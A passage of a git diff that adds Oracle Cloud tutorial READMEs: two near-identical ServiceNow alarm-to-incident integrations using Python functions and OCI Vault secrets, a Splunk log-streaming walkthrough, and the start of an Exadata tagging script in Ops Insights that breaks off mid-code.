b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-01.png differ diff --git a/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-02.png b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-02.png new file mode 100644 index 000000000..3774f689a Binary files /dev/null and b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-02.png differ diff --git a/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-03.png b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-03.png new file mode 100644 index 000000000..06d021286 Binary files /dev/null and b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-03.png differ diff --git a/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-04.png b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-04.png new file mode 100644 index 000000000..c885c6493 Binary files /dev/null and b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-04.png differ diff --git a/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-05.png b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-05.png new file mode 100644 index 000000000..bbb571a83 Binary files /dev/null and b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-05.png differ diff --git a/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-06.png b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-06.png new file mode 100644 index 000000000..557300c80 Binary files /dev/null and b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-06.png differ diff --git a/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-07.png b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-07.png new file mode 100644 index 000000000..6dfcc7158 Binary files /dev/null and b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-07.png differ diff --git a/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-08.png b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-08.png new file mode 100644 index 000000000..d1c6eb81d Binary files /dev/null and b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-08.png differ diff --git a/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-09.png b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-09.png new file mode 100644 index 000000000..e6941fefb Binary files /dev/null and b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-09.png differ diff --git a/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-10.png b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-10.png new file mode 100644 index 000000000..0588339b7 Binary files /dev/null and b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-10.png differ diff --git a/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-11.png b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-11.png new file mode 100644 index 000000000..c9ae1cc12 Binary files /dev/null and b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-11.png differ diff --git a/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-12.png b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-12.png new file mode 100644 index 000000000..ba893e9ad Binary files /dev/null and b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-12.png differ diff --git a/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-13.png b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-13.png new file mode 100644 index 000000000..53ca6ea3c Binary files /dev/null and b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-13.png differ diff --git a/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-14.png b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-14.png new file mode 100644 index 000000000..23951746d Binary files /dev/null and b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-14.png differ diff --git a/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-15.png b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-15.png new file mode 100644 index 000000000..e69de29bb diff --git a/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-16.png b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-16.png new file mode 100644 index 000000000..e12c82f82 Binary files /dev/null and b/observability-and-management/assets/send-oci-logs-to-azure-sentinel-using-oracle-functions/images/image-16.png differ diff --git a/observability-and-management/assets/servicenow-integration-with-oracle-cloud-alarms/README.md b/observability-and-management/assets/servicenow-integration-with-oracle-cloud-alarms/README.md new file mode 100644 index 000000000..3391ee357 --- /dev/null +++ b/observability-and-management/assets/servicenow-integration-with-oracle-cloud-alarms/README.md @@ -0,0 +1,124 @@ +# How to integrate Service Now with Oracle cloud Alarms + +In this article we will see how we can integrate Service Now with Oracle cloud Alarms to create incidents using OCI(Oracle Cloud Infrastructure) functions + +You can integrate OCI alarms with servicenow using username and password by following this [doc](https://docs.servicenow.com/bundle/tokyo-it-operations-management/page/product/event-management/task/oracle-cloud-events-integration.html) + +If you want to use OAuth based authentication for integrating ServiceNow with OCI alarms then you can use serverless functions for such use-case. Please refer the servicenow support doc on how to create OAuth client if you are not familiar with the steps. + +1. Store the client_id, client_secret and refresh_token in the OCI Vault. + +2. Create the function with the below code as an example .Set the function configuration snow_url, snow_client_id, snow_client_secret and snow_refresh_token . + +```text +import io +import oci +import base64 + +import sys +import requests +import json +import logging + +# Usage : function to fetch secret from OCI vault +def read_secret_value(secret_id): + signer = oci.auth.signers.get_resource_principals_signer() + secret_client = oci.secrets.SecretsClient({}, signer = signer) + + response_secret = secret_client.get_secret_bundle(secret_id) + + base64_Secret_content = response_secret.data.secret_bundle_content.content + base64_secret_bytes = base64_Secret_content.encode('ascii') + base64_message_bytes = base64.b64decode(base64_secret_bytes) + secret_content = base64_message_bytes.decode('ascii') + + return secret_content + +# Usage: function to obtain a new OAuth 2.0 access token +def get_new_token(snow_url,client_id,client_secret,refresh_token): + + auth_server_url = f'{snow_url}/oauth_token.do' + client_id = read_secret_value(client_id) + client_secret = read_secret_value(client_secret) + refresh_token = read_secret_value(refresh_token) + headers = { + 'Content-Type': 'application/x-www-form-urlencoded' + } + + token_payload = {'grant_type': 'refresh_token','refresh_token': refresh_token,'client_id' : client_id,'client_secret' : client_secret} + try: + token_response = requests.post(auth_server_url, headers=headers, data=token_payload ,allow_redirects=False) + except Exception as auth_exception: + print(auth_exception) + + if token_response.status_code !=200: + print("Failed to obtain token from the OAuth 2.0 server") + sys.exit(1) + + print("Successfully obtained a new token") + tokens = json.loads(token_response.text) + access_token = tokens['access_token'] + return f'Bearer {access_token}' + +def servicenow_severity(severity): + if severity == "CRITICAL": + return "1" + elif severity == "WARNING": + return "2" + elif severity == "ERROR": + return "3" + elif severity == "INFO": + return "4" + +def handler(ctx, data: io.BytesIO = None): + cfg = dict(ctx.Config()) + + #fetch details from function config + snow_url = cfg['snow_url'] + client_id = cfg['snow_client_id'] + client_secret = cfg['snow_client_secret'] + refresh_token = cfg['snow_refresh_token'] + + try: + body = json.loads(data.getvalue()) + oci_severity = body.get("severity") + snow_severity=servicenow_severity(oci_severity) + snow_short_desc = body.get("title") + snow_desc = body.get("body") + alarm_type = body.get("type") + snow_comments = body["alarmMetaData"][0]["dimensions"][0]["resourceDisplayName"] + + snow_message_json = { + "urgency" : snow_severity, + "impact" : snow_severity, + "short_description": snow_short_desc, + "description": snow_desc, + "caller_id" : "OCI", + "comments": f'Incident created for resource {snow_comments}', + "assignment_group": "Operations" + } + + access_token = get_new_token(snow_url,client_id,client_secret,refresh_token) + + snow_incident_url = f'{snow_url}/api/now/table/incident' + headers = { + 'Authorization' : access_token + } + if alarm_type in ["OK_TO_FIRING"]: + response_incident = requests.post(snow_incident_url, headers=headers, json=snow_message_json) + logging.getLogger().info("Response Code: " + str(response_incident.status_code)) + else: + print("Alarm type is not OK_TO_FIRING") + except (Exception, ValueError) as ex: + print(ex) +``` + +3. Create and deploy function using [Cloudshell](https://docs.oracle.com/en-us/iaas/Content/Functions/Tasks/functionsquickstartcloudshell.htm) + +4.Once the function is deployed you can setup the notification topic with [function](https://docs.oracle.com/en-us/iaas/Content/Notification/Tasks/create-subscription-function.htm) as subscription. + +5. Create alarms for your use-case and set the previously created notification topic as the destination. + +Once the alarm is triggered you would be able to see the incident created in ServiceNow. Enable function logs if needed for troubleshooting. + +Tip: Create split notification if you are using the alarm for multiple metric stream so alarms are triggered for individual resource. diff --git a/observability-and-management/assets/servicenow-integration-with-oracle-cloud-alarms/images/.gitkeep b/observability-and-management/assets/servicenow-integration-with-oracle-cloud-alarms/images/.gitkeep new file mode 100644 index 000000000..fbf3900a9 --- /dev/null +++ b/observability-and-management/assets/servicenow-integration-with-oracle-cloud-alarms/images/.gitkeep @@ -0,0 +1 @@ +# This article has no embedded DOCX images. diff --git a/observability-and-management/assets/servicenow-oci-vault-incidents/README.md b/observability-and-management/assets/servicenow-oci-vault-incidents/README.md new file mode 100644 index 000000000..adc0d81b6 --- /dev/null +++ b/observability-and-management/assets/servicenow-oci-vault-incidents/README.md @@ -0,0 +1,124 @@ +# ServiceNow integration with OCI using secrets stored in OCI Vault to create incidents + +In this article we will see how we can integrate ServiceNow with Oracle cloud Alarms to create incidents using OCI functions. + +You can integrate OCI alarms with servicenow using username and password by following this [doc](https://docs.servicenow.com/bundle/tokyo-it-operations-management/page/product/event-management/task/oracle-cloud-events-integration.html) + +If you want to use OAuth based authentication for integrating ServiceNow with OCI alarms then you can use serverless functions for such use-case. Please refer the servicenow support doc on how to create OAuth client if you are not familiar with the steps. + +1. Store the client_id, client_secret and refresh_token in the OCI Vault. + +2. Create the function with the below code as an example .Set the function configuration snow_url, snow_client_id, snow_client_secret and snow_refresh_token . + +```text +import io +import oci +import base64 + +import sys +import requests +import json +import logging + +# Usage : function to fetch secret from OCI vault +def read_secret_value(secret_id): + signer = oci.auth.signers.get_resource_principals_signer() + secret_client = oci.secrets.SecretsClient({}, signer = signer) + + response_secret = secret_client.get_secret_bundle(secret_id) + + base64_Secret_content = response_secret.data.secret_bundle_content.content + base64_secret_bytes = base64_Secret_content.encode('ascii') + base64_message_bytes = base64.b64decode(base64_secret_bytes) + secret_content = base64_message_bytes.decode('ascii') + + return secret_content + +# Usage: function to obtain a new OAuth 2.0 access token +def get_new_token(snow_url,client_id,client_secret,refresh_token): + + auth_server_url = f'{snow_url}/oauth_token.do' + client_id = read_secret_value(client_id) + client_secret = read_secret_value(client_secret) + refresh_token = read_secret_value(refresh_token) + headers = { + 'Content-Type': 'application/x-www-form-urlencoded' + } + + token_payload = {'grant_type': 'refresh_token','refresh_token': refresh_token,'client_id' : client_id,'client_secret' : client_secret} + try: + token_response = requests.post(auth_server_url, headers=headers, data=token_payload ,allow_redirects=False) + except Exception as auth_exception: + print(auth_exception) + + if token_response.status_code !=200: + print("Failed to obtain token from the OAuth 2.0 server") + sys.exit(1) + + print("Successfully obtained a new token") + tokens = json.loads(token_response.text) + access_token = tokens['access_token'] + return f'Bearer {access_token}' + +def servicenow_severity(severity): + if severity == "CRITICAL": + return "1" + elif severity == "WARNING": + return "2" + elif severity == "ERROR": + return "3" + elif severity == "INFO": + return "4" + +def handler(ctx, data: io.BytesIO = None): + cfg = dict(ctx.Config()) + + #fetch details from function config + snow_url = cfg['snow_url'] + client_id = cfg['snow_client_id'] + client_secret = cfg['snow_client_secret'] + refresh_token = cfg['snow_refresh_token'] + + try: + body = json.loads(data.getvalue()) + oci_severity = body.get("severity") + snow_severity=servicenow_severity(oci_severity) + snow_short_desc = body.get("title") + snow_desc = body.get("body") + alarm_type = body.get("type") + snow_comments = body["alarmMetaData"][0]["dimensions"][0]["resourceDisplayName"] + + snow_message_json = { + "urgency" : snow_severity, + "impact" : snow_severity, + "short_description": snow_short_desc, + "description": snow_desc, + "caller_id" : "OCI", + "comments": f'Incident created for resource {snow_comments}', + "assignment_group": "Operations" + } + + access_token = get_new_token(snow_url,client_id,client_secret,refresh_token) + + snow_incident_url = f'{snow_url}/api/now/table/incident' + headers = { + 'Authorization' : access_token + } + if alarm_type in ["OK_TO_FIRING"]: + response_incident = requests.post(snow_incident_url, headers=headers, json=snow_message_json) + logging.getLogger().info("Response Code: " + str(response_incident.status_code)) + else: + print("Alarm type is not OK_TO_FIRING") + except (Exception, ValueError) as ex: + print(ex) +``` + +3. Create and deploy function using C[loudshell](https://docs.oracle.com/en-us/iaas/Content/Functions/Tasks/functionsquickstartcloudshell.htm) + +4.Once the function is deployed you can setup the notification topic with [function](https://docs.oracle.com/en-us/iaas/Content/Notification/Tasks/create-subscription-function.htm) as subscription. + +5. Create alarms for your use-case and set the previously created notification topic as the destination. + +Once the alarm is triggered you would be able to see the incident created in ServiceNow. Enable function logs if needed for troubleshooting. + +Tip: Create split notification if you are using the alarm for multiple metric stream so alarms are triggered for individual resource. diff --git a/observability-and-management/assets/servicenow-oci-vault-incidents/images/.gitkeep b/observability-and-management/assets/servicenow-oci-vault-incidents/images/.gitkeep new file mode 100644 index 000000000..fbf3900a9 --- /dev/null +++ b/observability-and-management/assets/servicenow-oci-vault-incidents/images/.gitkeep @@ -0,0 +1 @@ +# This article has no embedded DOCX images. diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/README.md b/observability-and-management/assets/stream-oci-logs-to-splunk/README.md new file mode 100644 index 000000000..40e16b4a2 --- /dev/null +++ b/observability-and-management/assets/stream-oci-logs-to-splunk/README.md @@ -0,0 +1,153 @@ +# Stream OCI Logs to Splunk + +Earlier I have created a blog post related to Streaming the logs to Splunk v8, and I will create another entry with the latest version of Splunk, as the console has some changes and my previous blog might not be accurate anymore. This tutorial is for Splunk managed on-prem or cloud, not Splunk Cloud. + +After the installation of Splunk, next step is to install the Streaming App in Splunk. Click on Apps and Manage Apps: + +![Picture 26](./images/image-01.png) + +![Picture 25](./images/image-02.png) + +You will be redirected to the Apps page. In here click Browse more apps and search for OCI(In the older version, you had to manually install this app: + +![Picture 24](./images/image-03.png) + +Press enter or click to view image in full size + +![Picture 23](./images/image-04.png) + +![Picture 22](./images/image-05.png) + +You can also install the OCI App: + +![Picture 21](./images/image-06.png) + +Next step is to configure the Ingestion App by going to Settings → Data Inputs: + +![Picture 20](./images/image-07.png) + +Click on OCI Logging and New: + +![Picture 19](./images/image-08.png) + +Press enter or click to view image in full size + +![Picture 18](./images/image-09.png) + +Now, you need to add the data to connect to OCI: + +![Picture 17](./images/image-10.png) + +Create a text file and collect this data from OCI: + +```text +StreamOCID: ex: ocid1.stream.oci1.eu-frankfurt-1.xxx +Stream Endpoint: ex: https://cell-1.streaming.xxxxx.oci.oraclecloud.com +OCI Region: ex: eu-frankfurt-1 +OCI API Key File Location : /opt/splunk/key.pem +User OCID: ocid1.user.oc1..xxxxxxxxxxxxxxxx +Tenancy OCID: ocid1.tenancy.oc1..xxxxxxxx +Fingerprint: xxxx +``` + +Get Stream Data + +1- Create a new stream for sending Logs to Splunk: + +Press enter or click to view image in full size + +![Picture 16](./images/image-11.png) + +Press enter or click to view image in full size + +![Picture 15](./images/image-12.png) + +2- Click on the Stream and get the Stream OCID and Endpoint: + +Press enter or click to view image in full size + +![Picture 14](./images/image-13.png) + +OCI Authentication Credentials + +If you are not using Identity Domains: + +Go to OCI → Security → Identity → Users + +Create a new dedicated user (ex: SplunkUser) and click on the user. + +Click on Resources and generate an API Key: + +![Picture 12](./images/image-14.png) + +![Picture 11](./images/image-15.png) + +Collect the rest of the data from Configuration File: + +Press enter or click to view image in full size + +![Picture 10](./images/image-16.png) + +If you missed something, you can collect the data from the Capabilities menu when you click on the user: + +![Picture 9](./images/image-17.png) + +Upload the Private PEM key to splunk ( I am putting it in the Splunk Folder so I will not have any permission issues) + +![Picture 8](./images/image-18.png) + +Make sure that the group where the splunk dedicated use is has this policy created: + +```text +Allow group SplunkGroup to use stream-pull in compartment YourCompartment +``` + +Press Next. Now we need to send the logs to the stream. + +Configure Logging Service for VCN Flow logs, or other logs in OCI. You can follow the guides from here: + +[OCI Logging — Complete Hands-on Series — My Tech Retreat](https://mytechretreat.com/oci-logging-complete-hands-on-series/) + +Go to Service Connector , press Create Service Connector and send the logs to Streaming Service: + +![Picture 7](./images/image-19.png) + +Give connector a name, and select the Source Logging and Target Streaming: + +Press enter or click to view image in full size + +![Picture 6](./images/image-20.png) + +Configure the logs that you want to send: + +Press enter or click to view image in full size + +![Picture 5](./images/image-21.png) + +Select the target Stream, create the policy using the wizzard and press Create. You can also enable SCH logs for troubleshooting. + +Press enter or click to view image in full size + +![Picture 4](./images/image-22.png) + +Go to Splunk and wait for the logs to flow. With basic configuration, the Index used is main. + +Press enter or click to view image in full size + +![Picture 3](./images/image-23.png) + +Congratulations! You have send your OCI logs to Splunk. + +Now, if you want to use the OCI App for visualization, you need to create a new index oci_index and map the OCI Logging App to use it. + +Edit the App, click more Settings and select oci_index. + +Press enter or click to view image in full size + +![Picture 2](./images/image-24.png) + +After this change, the OCI App will start to show data with the prebuild Dashboards: + +Press enter or click to view image in full size + +![Picture 1](./images/image-25.png) diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-01.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-01.png new file mode 100644 index 000000000..424ee75e4 Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-01.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-02.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-02.png new file mode 100644 index 000000000..49bae98af Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-02.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-03.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-03.png new file mode 100644 index 000000000..294cd040f Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-03.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-04.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-04.png new file mode 100644 index 000000000..9539bdffb Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-04.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-05.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-05.png new file mode 100644 index 000000000..bcefc8b0f Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-05.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-06.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-06.png new file mode 100644 index 000000000..89af90f70 Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-06.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-07.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-07.png new file mode 100644 index 000000000..b6aa06214 Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-07.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-08.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-08.png new file mode 100644 index 000000000..bf4e87c03 Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-08.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-09.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-09.png new file mode 100644 index 000000000..b57b135e4 Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-09.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-10.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-10.png new file mode 100644 index 000000000..27d2483c4 Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-10.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-11.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-11.png new file mode 100644 index 000000000..0f19a4718 Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-11.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-12.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-12.png new file mode 100644 index 000000000..b2b466cbb Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-12.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-13.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-13.png new file mode 100644 index 000000000..3a19d0419 Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-13.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-14.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-14.png new file mode 100644 index 000000000..806c5f115 Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-14.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-15.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-15.png new file mode 100644 index 000000000..350c922d1 Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-15.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-16.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-16.png new file mode 100644 index 000000000..7b7979e41 Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-16.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-17.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-17.png new file mode 100644 index 000000000..573dafad0 Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-17.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-18.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-18.png new file mode 100644 index 000000000..aa7826983 Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-18.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-19.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-19.png new file mode 100644 index 000000000..7805065c7 Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-19.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-20.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-20.png new file mode 100644 index 000000000..1ebb1cccf Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-20.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-21.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-21.png new file mode 100644 index 000000000..85dfcd92e Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-21.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-22.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-22.png new file mode 100644 index 000000000..08315f269 Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-22.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-23.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-23.png new file mode 100644 index 000000000..a8f753910 Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-23.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-24.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-24.png new file mode 100644 index 000000000..c984b20d5 Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-24.png differ diff --git a/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-25.png b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-25.png new file mode 100644 index 000000000..7506af55b Binary files /dev/null and b/observability-and-management/assets/stream-oci-logs-to-splunk/images/image-25.png differ diff --git a/observability-and-management/assets/tag-exadata-members-oci-ops-insights-api/README.md b/observability-and-management/assets/tag-exadata-members-oci-ops-insights-api/README.md new file mode 100644 index 000000000..d014f70a4 --- /dev/null +++ b/observability-and-management/assets/tag-exadata-members-oci-ops-insights-api/README.md @@ -0,0 +1,302 @@ +# Tag Exadata and Its Members in OCI Ops Insights with API + +Oracle Cloud Infrastructure’s Ops Insight (OPSI) provides a historical archive and analytics enhanced by machine learning to monitor up to 25 months of resource usage and SQL performance trends for Exadata (read more [here](https://docs.oracle.com/en-us/iaas/operations-insights/doc/analyze-exadata-resources.html)). + +An Exadata system in Ops Insights can have many databases and hosts that are part of a whole. Tags are a good way to manage OCI resources across your tenancy including those in Ops Insights (read more [here](https://docs.oracle.com/en-us/iaas/Content/Tagging/home.htm)). To help with this, I’ve written scripts using the OCI Python SDK and APIs to easily tag the Exadata system and all its members in Ops Insights. + +![Picture 2](./images/image-01.png) + +Read more to see how to tag Exadata systems and members in OCI Ops Insights + +There are two different scripts: One for updating tags for an Exadata discovered with an EM bridge (read more [here](https://docs.oracle.com/en-us/iaas/operations-insights/doc/get-started-operations-insights.html)), and one for updating tags for an Exadata CS discovered with a private endpoint (read more [here](https://docs.oracle.com/en-us/iaas/operations-insights/doc/get-started-operations-insights.html)). + +Updating tags for an EM Managed Exadata System and Members in OPSI + +Below is the code based on the OCI Python SDK. It can be executed as-is from the OCI Cloud Shell (read more [here](https://docs.oracle.com/en-us/iaas/Content/API/Concepts/cloudshellquickstart_python.htm)) or locally with an OCI CLI configuration file (read more [here](https://docs.oracle.com/en-us/iaas/Content/API/Concepts/sdkconfig.htm)): + +```text +import oci +import json + +# Specify variable values +# NOTE: Remember that defined_tags overwrites existing resource tags +# It should be a complete list of what tags should be there at the end +compartment_id="ocid1.compartment.oc1..XXX" +exadata_insight_id="ocid1.opsiexadatainsight.oc1.XXX" +defined_tags={ + 'Tag Namespace': { + 'Tag Key A': 'Tag Value', + 'Tag Key B': 'Tag Value' + } +} + +# Displays set values and requires explicit approval before continuing +approval = input(f""" +All members of {exadata_insight_id} will be updated with the following tags:\n +defined_tags={defined_tags}\n +Do you wish to proceed (yes/no)?: """ +) + +if approval.lower() == "yes": + # Initialize service client with default config file + config = oci.config.from_file() + opsi_client = oci.opsi.OperationsInsightsClient(config) + + # Updating tags on Exadata system in OPSI + print(f'\nUpdating Exadata system with ID {exadata_insight_id}') + update_exadata_insight_response = opsi_client.update_exadata_insight( + exadata_insight_id=exadata_insight_id, + update_exadata_insight_details=oci.opsi.models.UpdateEmManagedExternalExadataInsightDetails( + entity_source="EM_MANAGED_EXTERNAL_EXADATA", + #freeform_tags={'EXAMPLE_KEY_jTnoW': 'EXAMPLE_VALUE_Iyfqty8HBcYA1JNce7JG'}, + defined_tags=defined_tags, + is_auto_sync_enabled=True), + #if_match="EXAMPLE-ifMatch-Value", + #opc_request_id="YPV7UDSDR4FNPXK6PLYZ" + ) + + # Collecting database member IDs of Exadata system in OPSI + list_database_insights_response = opsi_client.list_database_insights( + compartment_id=compartment_id, + #enterprise_manager_bridge_id="ocid1.test.oc1..EXAMPLE-enterpriseManagerBridgeId-Value", + #id=["EXAMPLE--Value"], + #status=["DISABLED"], + #lifecycle_state=["ACTIVE"], + #database_type=["ATP-S"], + #database_id=["EXAMPLE--Value"], + #fields=["databaseType"], + limit=2000, + #page="EXAMPLE-page-Value", + sort_order="ASC", + sort_by="databaseType", + exadata_insight_id=exadata_insight_id, + compartment_id_in_subtree=True, + #opsi_private_endpoint_id="ocid1.test.oc1..EXAMPLE-opsiPrivateEndpointId-Value", + #opc_request_id="IV0KH3F1R7WU1LVHACWT" + ) + database_insights_dict = json.loads(str(list_database_insights_response.data))["items"] + + # Updating database member tags in OPSI + print("\nUpdating database members:") + for db in database_insights_dict: + print(f'Updating {db["database_display_name"]} with DB Insights ID {db["id"]}') + update_database_insight_response = opsi_client.update_database_insight( + database_insight_id=db["id"], + update_database_insight_details=oci.opsi.models.UpdateEmManagedExternalDatabaseInsightDetails( + entity_source="EM_MANAGED_EXTERNAL_DATABASE", + #freeform_tags={'EXAMPLE_KEY_jTnoW': 'EXAMPLE_VALUE_Iyfqty8HBcYA1JNce7JG'}, + defined_tags=defined_tags, + #if_match="EXAMPLE-ifMatch-Value", + #opc_request_id="K8PG3IDYIA682CFC2VK6" + ) + ) + + # Collecting host member IDs of Exadata system in OPSI + list_host_insights_response = opsi_client.list_host_insights( + compartment_id=compartment_id, + #id=["EXAMPLE--Value"], + #status=["ENABLED"], + #lifecycle_state=["ACTIVE"], + #host_type=["EXAMPLE--Value"], + #platform_type=["LINUX"], + limit=2000, + #page="EXAMPLE-page-Value", + sort_order="ASC", + sort_by="hostType", + #enterprise_manager_bridge_id="ocid1.test.oc1..EXAMPLE-enterpriseManagerBridgeId-Value", + exadata_insight_id=exadata_insight_id, + compartment_id_in_subtree=True, + #opc_request_id="SVAEYTJGPMKDXRB5NEC9" + ) + host_insights_dict = json.loads(str(list_host_insights_response.data))["items"] + + # 